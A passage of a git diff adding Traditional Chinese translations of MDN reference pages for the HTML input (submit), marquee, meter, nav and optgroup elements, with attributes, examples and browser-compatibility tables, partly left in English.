+<p>[4] In Safari <code>autocapitalize="words"</code> capitalizes every word's second character.</p>
+
+<p>[5] <code>datetime</code> has been removed from the spec and browsers in favour of <code>datetime-local</code>.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="File_inputs">File inputs</h3>
+
+<ol>
+ <li>
+  <p>Starting in {{Gecko("2.0")}}, calling the <code>click()</code> method on an <code>&lt;input&gt;</code> element of type <code>file</code> opens the file picker and lets the user select files. See <a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> for an example and more details.</p>
+ </li>
+ <li>
+  <p>You cannot set the value of a file picker from a script — doing something like the following has no effect:</p>
+
+  <pre class="brush: js">var e = getElementById("someFileInputElement");
+e.value = "foo";
+</pre>
+ </li>
+ <li>
+  <p>When a file is chosen using an <code>&lt;input type="file"&gt;</code>, the real path to the source file is not shown in the input's <code>value</code> attribute for obvious security reasons. Instead, the filename is shown, with <code>C:\fakepath\</code> appended to the beginning of it. There are some historical reasons for this quirk, but it is supported across all modern browsers, and in fact is <a href="https://html.spec.whatwg.org/multipage/forms.html#fakepath-srsly">defined in the spec</a>.</p>
+ </li>
+</ol>
+
+<h3 id="Error_messages">Error messages</h3>
+
+<p>If you want Firefox to present a custom error message when a field fails to validate, you can use the <code>x-moz-errormessage</code> attribute to do so:</p>
+
+<pre class="brush: html">&lt;input type="email"
+ x-moz-errormessage="Please specify a valid email address."&gt;
+</pre>
+
+<p>Note, however, that this is not standard and will not have an effect on other browsers.</p>
+
+<h3 id="Localization">Localization</h3>
+
+<p>The allowed inputs for certain &lt;input&gt; types depend on the locale. In some locales, 1,000.00 is a valid number, while in other locales the valid way to enter this number is 1.000,00.</p>
+
+<p>Firefox uses the following heuristics to determine the locale to validate the user's input (at least for <code>type="number"</code>):</p>
+
+<ul>
+ <li>Try the language specified by a <code>lang</code>/<code>xml:lang</code> attribute on the element or any of its parents.</li>
+ <li>Try the language specified by any Content-Language HTTP header or</li>
+ <li>If none specified, use the browser's locale.</li>
+</ul>
+
+<h3 id="Using_mozactionhint_on_Firefox_mobile">Using mozactionhint on Firefox mobile</h3>
+
+<p>You can use the {{htmlattrxref("mozactionhint", "input")}} attribute to specify the text for the label of the enter key on the virtual keyboard when your form is rendered on Firefox mobile. For example, to have a "Next" label, you can do this:</p>
+
+<pre class="brush: html">&lt;input type="text" mozactionhint="next"&gt;
+</pre>
+
+<p>The result is:</p>
+
+<p><a href="/@api/deki/files/4970/=mozactionhint.png"><img alt="mozactionhint.png" class="default internal" src="/@api/deki/files/4970/=mozactionhint.png?size=webview" style="border: 1px solid black; height: 350px; width: 210px;"></a></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other form-related elements: {{HTMLElement("form")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+ <li><a class="external" href="http://webdesignerwall.com/tutorials/cross-browser-html5-placeholder-text">Cross-browser HTML5 placeholder text</a></li>
+</ul>
diff --git a/files/zh-tw/web/html/element/input/submit/index.html b/files/zh-tw/web/html/element/input/submit/index.html
new file mode 100644
index 0000000000..fa3b46813b
--- /dev/null
+++ b/files/zh-tw/web/html/element/input/submit/index.html
@@ -0,0 +1,211 @@
+---
+title: <input type="submit">
+slug: Web/HTML/Element/input/submit
+translation_of: Web/HTML/Element/input/submit
+---
+<p>{{HTMLRef}}</p>
+
+<p><span class="seoSummary">{{HTMLElement("input")}} 元素的 <strong><code>"submit"</code></strong> 類型會被視為提交按鈕（submit button）——點選的話就能把表單提交到伺服器。</span></p>
+
+<div id="summary-example2">
+<pre class="brush: html">&lt;input type="submit" value="Submit to me"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example2", 650, 30)}}</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>用作按鈕 label 的 {{domxref("DOMString")}}</td>
+  </tr>
+  <tr>
+   <td><strong>事件</strong></td>
+   <td>{{event("click")}}</td>
+  </tr>
+  <tr>
+   <td><strong>常見的支援屬性</strong></td>
+   <td>{{htmlattrxref("type", "input")}} 與 {{htmlattrxref("value", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL 屬性</strong></td>
+   <td><code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>方法</strong></td>
+   <td>無</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="值">值</h2>
+
+<p><code>&lt;input type="submit"&gt;</code> 元素的 {{htmlattrxref("value", "input")}} 屬性會包含用作按鈕 label 的 {{domxref("DOMString")}}。</p>
+
+<div id="summary-example3">
+<pre class="brush: html">&lt;input type="submit" value="Submit to me"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example3", 650, 30)}}</p>
+
+<p>如果不指定 <code>value</code>，視瀏覽器不同，按鈕會是 <em>Submit</em>/<em>Submit Query</em>/<em>提交</em> 之類的預設值：</p>
+
+<div id="summary-example1">
+<pre class="brush: html">&lt;input type="submit"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example1", 650, 30)}}</p>
+
+<h2 id="使用提交按鈕">使用提交按鈕</h2>
+
+<p><code>&lt;input type="submit"&gt;</code> 按鈕用於提交表單。如果想自訂按鈕、並透過 JavaScript 自訂其行為，你應該用 <code><a href="/zh-TW/docs/Web/HTML/Element/input/button">&lt;input type="button"&gt;</a></code>、或更好的，{{htmlelement("button")}} 元素。</p>
+
+<p>請記住，如果表單內只有一個按鈕元素（例如 <code>&lt;button&gt;My button&lt;/button&gt;</code>）的話，瀏覽器會自動把它視為提交按鈕。你要在其他按鈕之外，明確宣告一個提交按鈕。</p>
+
+<h3 id="簡易的提交按鈕">簡易的提交按鈕</h3>
+
+<p>我們要開始建立一個新的提交按鈕：</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="example"&gt;Let's submit some text&lt;/label&gt;
+    &lt;input id="example" type="text" name="text"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit" value="Submit to me"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;
+</pre>
+
+<p>它會被渲染為：</p>
+
+<p>{{EmbedLiveSample("A_simple_submit_button", 650, 100)}}</p>
+
+<p>試著在文字區塊內輸入些文字，接著提交表單。</p>
+
+<p>提交時，送到伺服器的成對 name/value 資料會 be along the lines of <code>text=mytext</code>，視你在文字區塊內輸入了什麼。資料在哪裡並如何被送出，取決於 <code>&lt;form&gt;</code> 屬性和其他細節的設定：請參見<a href="/zh-TW/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">傳送表單資料</a>。</p>
+
+<h3 id="增加提交的快捷鍵">增加提交的快捷鍵</h3>
+
+<p>鍵盤快捷鍵，又稱熱鍵，能讓用戶透過鍵盤按鍵或組合觸發按鈕事件。要給提交按鈕添加鍵盤快捷鍵——如同 {{HTMLElement("input")}} 那樣——你需要使用全域屬性 {{htmlattrxref("accesskey")}}。</p>
+
+<p>下例之中，<kbd>s</kbd> 被指定為快捷鍵（you'll need to press <kbd>s</kbd> plus the particular modifier keys for your browser/OS combination; see {{htmlattrxref("accesskey")}} for a useful list of those）。</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="example"&gt;Let's submit some text&lt;/label&gt;
+    &lt;input id="example" type="text" name="text"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit" value="Submit to me"
+     accesskey="s"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample("Adding_a_submit_keyboard_shortcut", 650, 100)}}</p>
+
+<div class="note">
+<p><strong>注意</strong>：上例的問題很明顯，就是用戶不知道要按什麼快捷鍵！在實際網站中，你要提供不干擾網站整體設計的快捷鍵資訊：像是提供易於訪問的連結，告訴用戶說網站的快捷鍵是什麼。</p>
+</div>
+
+<h3 id="禁用與啟用提交按鈕">禁用與啟用提交按鈕</h3>
+
+<p>要禁用提交按鈕，就如同下例般指定全域屬性 {{htmlattrxref("disabled")}}：</p>
+
+<div id="disable-example1">
+<pre class="brush: html">&lt;input type="submit" value="Disabled" disabled&gt;</pre>
+</div>
+
+<p>你可以在 run time 時藉由設定 <code>disabled</code> 的 <code>true</code> or <code>false</code> 來禁用或啟用提交按鈕。在 JavaScript 就看起來像 <code>btn.disabled = true</code>。</p>
+
+<div class="note">
+<p><strong>注意</strong>：請參見 <code><a href="/zh-TW/docs/Web/HTML/Element/input/button#Disabling_and_enabling_a_button">&lt;input type="button"&gt;</a></code> 頁面以取得關於禁用/啟用提交按鈕的詳細資訊。</p>
+</div>
+
+<div class="note">
+<p><strong>注意</strong>：Firefox 不若其他瀏覽器，它預設上會在 {{HTMLElement("button")}} 跨網頁加載時<a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">保持動態禁用狀態</a>。請用 {{htmlattrxref("autocomplete","button")}} 屬性控制這個功能。</p>
+</div>
+
+<h2 id="驗證">驗證</h2>
+
+<p>提交按鈕不參與強制驗證：they have no real value to be constrained.</p>
+
+<h2 id="範例">範例</h2>
+
+<p>上面已經有一些程式碼了。這裡也沒有什麼還能講的。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>規範</td>
+   <td>狀態</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#submit-button-state-(type=submit)', '&lt;input type="submit"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#submit-button-state-(type=submit)', '&lt;input type="submit"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("4.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>實做它的 {{HTMLElement("input")}} 與 {{domxref("HTMLInputElement")}} 介面。</li>
+ <li>{{HTMLElement("button")}} 元素。</li>
+</ul>
diff --git a/files/zh-tw/web/html/element/marquee/index.html b/files/zh-tw/web/html/element/marquee/index.html
new file mode 100644
index 0000000000..3b6a754c83
--- /dev/null
+++ b/files/zh-tw/web/html/element/marquee/index.html
@@ -0,0 +1,112 @@
+---
+title: <marquee>：捲動元素（已過時）
+slug: Web/HTML/Element/marquee
+translation_of: Web/HTML/Element/marquee
+---
+<p>HTML <code>&lt;marquee&gt;</code> 元素用作插入一段文字的捲動區域。你可以透過屬性，控制文字在到達邊緣後的應對動作。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">DOM 介面</th>
+   <td>{{DOMxRef("HTMLMarqueeElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{htmlattrdef("behavior")}}</dt>
+ <dd>設定文字如何在 marquee 內捲動。可用值為 <code>scroll</code>、<code>slide</code>、<code>alternate</code>。若無指定，預設值為 <code>scroll</code>。</dd>
+ <dt>{{htmlattrdef("bgcolor")}}</dt>
+ <dd>透過色彩名或十六進位值指定背景顏色。</dd>
+ <dt>{{htmlattrdef("direction")}}</dt>
+ <dd>設定 marquee 內的捲動方向。可用值為 <code>left</code>、<code>right</code>、<code>up</code>、<code>down</code>。若無指定，預設值為 <code>left</code>。</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>設定像素或百分比高度。</dd>
+ <dt>{{htmlattrdef("hspace")}}</dt>
+ <dd>設定橫向外邊（horizontal margin）</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>設定 marquee 捲動的次數。若無指定，預設值為 -1，意思是的 marquee 將持續捲動。</dd>
+ <dt>{{htmlattrdef("scrollamount")}}</dt>
+ <dd>以像素為單位，設定捲動的間隔量。預設值為 6。</dd>
+ <dt>{{htmlattrdef("scrolldelay")}}</dt>
+ <dd>設定每次捲動時之間間隔的毫秒。預設值為 85。請注意，除非指定了 <code>truespeed</code>，否則小於 60 的數字會被忽略，並值使用 60。</dd>
+ <dt>{{htmlattrdef("truespeed")}}</dt>
+ <dd><code>scrolldelay</code> 預設上會忽略低於 60 的值。但如果有 <code>truespeed</code> 的話，就不會忽略此值。</dd>
+ <dt>{{htmlattrdef("vspace")}}</dt>
+ <dd>以像素或百分比值設置垂直邊距。</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>設置以像素或百分比值為單位的寬度。</dd>
+</dl>
+
+<h2 id="Event_handlers" name="Event_handlers">事件處理器</h2>
+
+<dl>
+ <dt>{{htmlattrdef("onbounce")}}</dt>
+ <dd>marquee 滾動到結尾時觸發。只能在 behavior 屬性設置為 <code>alternate</code> 時觸發。</dd>
+ <dt>{{htmlattrdef("onfinish")}}</dt>
+ <dd>marquee 完成 loop 屬性的設定值時觸發。只能在 loop 屬性設為大於 0 的數字時觸發。</dd>
+ <dt>{{htmlattrdef("onstart")}}</dt>
+ <dd>marquee 開始捲動時觸發。</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">方法</h2>
+
+<dl>
+ <dt>start()</dt>
+ <dd>開始 marquee 的捲動</dd>
+ <dt>stop()</dt>
+ <dd>停止 marquee 的捲動</dd>
+</dl>
+
+<h2 id="示例">示例</h2>
+
+<pre class="brush: html">&lt;marquee&gt;This text will scroll from right to left&lt;/marquee&gt;
+
+&lt;marquee direction="up"&gt;This text will scroll from bottom to top&lt;/marquee&gt;
+
+&lt;marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"&gt;
+  &lt;marquee behavior="alternate"&gt;
+    This text will bounce
+  &lt;/marquee&gt;
+&lt;/marquee&gt;</pre>
+
+<p>{{EmbedLiveSample("Examples", 600, 450)}}</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'obsolete.html#the-marquee-element-2', '&lt;marquee&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>為了利於 CSS 而令其過時，但為了向下相容，還是定義了預期行為。不過 CSS 的 marquee 功能<a href="https://www.w3.org/TR/css3-marquee/">已經停止開發</a>。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'obsolete.html#the-marquee-element-0', '&lt;marquee&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>為了利於 CSS 而令其過時，但為了向下相容，還是定義了預期行為。不過 CSS 的 marquee 功能<a href="https://www.w3.org/TR/css3-marquee/">已經停止開發</a>。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("html.elements.marquee")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{DOMxRef("HTMLMarqueeElement")}}</li>
+</ul>
diff --git a/files/zh-tw/web/html/element/meter/index.html b/files/zh-tw/web/html/element/meter/index.html
new file mode 100644
index 0000000000..3043891ff8
--- /dev/null
+++ b/files/zh-tw/web/html/element/meter/index.html
@@ -0,0 +1,143 @@
+---
+title: <meter>
+slug: Web/HTML/Element/meter
+translation_of: Web/HTML/Element/meter
+---
+<h2 id="摘要">摘要</h2>
+
+<p><strong>HTML <code>&lt;meter&gt;</code> Element</strong> represents either a scalar value within a known range or a fractional value.</p>
+
+<div class="note"><strong>Usage note: </strong>Unless the <strong>value</strong> attribute is between 0 and 1 (inclusive), the <strong>min</strong> attribute and <strong>max</strong> attribute should define the range so that the <strong>value</strong> attribute's value is within it.</div>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>, labelable content, palpable content.</li>
+ <li><dfn>Permitted content</dfn> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">Phrasing content</a>, but there must be no <code>&lt;meter&gt;</code> element among its descendants.</li>
+ <li><dfn>Tag omission</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Permitted parent elements</dfn> Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">phrasing content</a>.</li>
+ <li><dfn>DOM interface</dfn> {{domxref("HTMLMeterElement")}}</li>
+</ul>
+
+<h2 id="屬性">屬性</h2>
+
+<p><span style="line-height: 21px;">This element includes the </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">global attributes</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>The current numeric value. This must be between the minimum and maximum values (<strong>min</strong> attribute and <strong>max</strong> attribute) if they are specified. If unspecified or malformed, the value is 0. If specified, but not within the range given by the <strong>min</strong> attribute and <strong>max</strong> attribute, the value is equal to the nearest end of the range.</dd>
+ <dt>{{htmlattrdef("min")}}</dt>
+ <dd>The lower numeric bound of the measured range. This must be less than the maximum value (<strong>max</strong> attribute), if specified. If unspecified, the minimum value is 0.</dd>
+ <dt>{{htmlattrdef("max")}}</dt>
+ <dd>The upper numeric bound of the measured range. This must be greater than the minimum value (<strong>min</strong> attribute), if specified. If unspecified, the maximum value is 1.</dd>
+ <dt>{{htmlattrdef("low")}}</dt>
+ <dd>The upper numeric bound of the low end of the measured range. This must be greater than the minimum value (<strong>min</strong> attribute), and it also must be less than the high value and maximum value (<strong>high</strong> attribute and <strong>max</strong> attribute, respectively), if any are specified. If unspecified, or if less than the minimum value, the <strong>low</strong> value is equal to the minimum value.</dd>
+ <dt>{{htmlattrdef("high")}}</dt>
+ <dd>The lower numeric bound of the high end of the measured range. This must be less than the maximum value (<strong>max</strong> attribute), and it also must be greater than the low value and minimum value (<strong>low</strong> attribute and <strong>min</strong> attribute, respectively), if any are specified. If unspecified, or if greater than the maximum value, the <strong>high</strong> value is equal to the maximum value.</dd>
+ <dt>{{htmlattrdef("optimum")}}</dt>
+ <dd>This attribute indicates the optimal numeric value. It must be within the range (as defined by the <strong>min</strong> attribute and <strong>max</strong> attribute). When used with the <strong>low</strong> attribute and <strong>high</strong> attribute, it gives an indication where along the range is considered preferable. For example, if it is between the <strong>min</strong> attribute and the <strong>low</strong> attribute, then the lower range is considered preferred.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd>This attribute associates the element with a <code>form</code> element that has ownership of the <code>meter</code> element. For example, a <code>meter</code> might be displaying a range corresponding to an <code>input</code> element of <strong>type</strong> <em>number</em>. This attribute is only used if the <code>meter</code> element is being used as a form-associated element; even then, it may be omitted if the element appears as a descendant of a <code>form</code> element.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Simple_example" name="Simple_example">Simple example</h3>
+
+<pre class="brush: html">&lt;p&gt;Heat the oven to &lt;meter min="200" max="500" value="350"&gt;350 degrees&lt;/meter&gt;.&lt;/p&gt;
+</pre>
+
+<p>On Google Chrome, the resulting meter looks like this:</p>
+
+<p><img alt="meter1.png" class="internal default" src="/@api/deki/files/4940/=meter1.png"></p>
+
+<h3 id="Hilo_Range_example" name="Hilo_Range_example">高/低範圍範例</h3>
+
+<p>Note that in this example the <strong>min</strong> attribute is omitted; this is allowed, as it will default to 0.</p>
+
+<pre class="brush: html">&lt;p&gt;He got a &lt;meter low="69" high="80" max="100" value="84"&gt;B&lt;/meter&gt; on the exam.&lt;/p&gt;
+</pre>
+
+<p>On Google Chrome, the resulting meter looks like this:</p>
+
+<p><img alt="meter2.png" class="internal default" src="/@api/deki/files/4941/=meter2.png"></p>
+
+<h2 id="Specifications" name="Specifications">詳述</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-button-element.html#the-meter-element', '&lt;meter&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-meter-element', '&lt;meter&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>6.0</td>
+   <td>{{CompatGeckoDesktop("16.0")}} {{bug(555985)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.0</td>
+   <td>5.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("16.0")}} {{bug(555985)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("progress")}}</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/zh-tw/web/html/element/nav/index.html b/files/zh-tw/web/html/element/nav/index.html
new file mode 100644
index 0000000000..114fc8e919
--- /dev/null
+++ b/files/zh-tw/web/html/element/nav/index.html
@@ -0,0 +1,107 @@
+---
+title: <nav>
+slug: Web/HTML/Element/nav
+tags:
+  - 元素
+  - 區域
+  - 導航欄
+  - 網站
+  - 網站區域
+  - 網頁
+  - 網頁區域
+  - 連結
+translation_of: Web/HTML/Element/nav
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML &lt;nav&gt; 元素</strong>代表一個網頁中提供導航欄連結的區域，不管是當前網頁或者其他網頁，還是這個連結最終抵達的只是當前網頁的某個區塊，或者會抵達其他網頁，常見的導航欄範例有菜單、內容的表單，以及頁面本身。</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/zh-TW/docs/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/zh-TW/docs/HTML/Content_categories#Flow_content">流內容</a>、<a href="/zh-TW/docs/HTML/Content_categories#Sectioning_content">sectioning content</a>、palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">允許內容</th>
+   <td><a href="/zh-TW/docs/HTML/Content_categories#Flow_content">流內容</a>。</td>
+  </tr>
+  <tr>
+   <th scope="row">省略標籤</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Flow_content">flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="屬性">屬性</h2>
+
+<p>此元素只有<a href="/zh-TW/docs/HTML/Global_attributes">全域屬性</a>。</p>
+
+<h2 id="使用筆記">使用筆記</h2>
+
+<ul>
+ <li>不是所有的文件連結都需要在 <code>&lt;nav&gt;</code> 元素裡面，它僅適用於主要的導航鏈接塊。一般來說 {{HTMLElement("footer")}} 元素常常有一個不需要在 {{HTMLElement("nav")}} 元素裡面的的鏈接列表。</li>
+ <li>文件可以有很多個 {{HTMLElement("nav")}} 元素。例如說，一個用做網站導覽、另一個用做頁內導覽。</li>
+ <li>面向身障用戶的螢幕閱讀器的用戶代理（User agent），可以決定要不要在初始渲染時省略這個元素的內容。</li>
+</ul>
+
+<h2 id="範例">範例</h2>
+
+<p>在這個範例，<code>&lt;nav&gt;</code> 區塊用於包含連結的無序清單 ({{HTMLElement("ul")}})。透過合適的 CSS，它能夠顯示為 sidebar、導覽列、以及下拉式選單。</p>
+
+<pre class="brush: html">&lt;nav class="menu"&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;a href="#"&gt;Home&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="#"&gt;About&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="#"&gt;Contact&lt;/a&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/nav&gt;
+</pre>
+
+<h2 id="屬性_2">屬性</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since latest W3C snapshot.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("html.elements.nav")}}</p>
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>Other section-related elements: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
+ <li class="last"><a class="deki-ns current" href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Sections and outlines of an HTML5 document</a>.</li>
+</ul>
diff --git a/files/zh-tw/web/html/element/optgroup/index.html b/files/zh-tw/web/html/element/optgroup/index.html
new file mode 100644
index 0000000000..5368a72cc0
--- /dev/null
+++ b/files/zh-tw/web/html/element/optgroup/index.html
@@ -0,0 +1,161 @@
+---
+title: <optgroup>
+slug: Web/HTML/Element/optgroup
+tags:
+  - Element
+  - Forms
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/optgroup
+---
+<h2 id="總覽">總覽</h2>
+
+<p>In a Web form, the <strong>HTML <code>&lt;optgroup&gt;</code> element</strong>  creates a grouping of options within a {{HTMLElement("select")}} element.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></th>
+   <td>None.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>Zero or more {{HTMLElement("option")}} elements.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>The <span title="syntax-start-tag">start tag</span> is mandatory. The <span title="syntax-end-tag">end tag</span> is optional if this element is immediately followed by another <span style="font-family: courier new;">&lt;optgroup&gt;</span> element, or if the parent element has no more content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parent elements</th>
+   <td>A {{HTMLElement("select")}} element.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLOptGroupElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
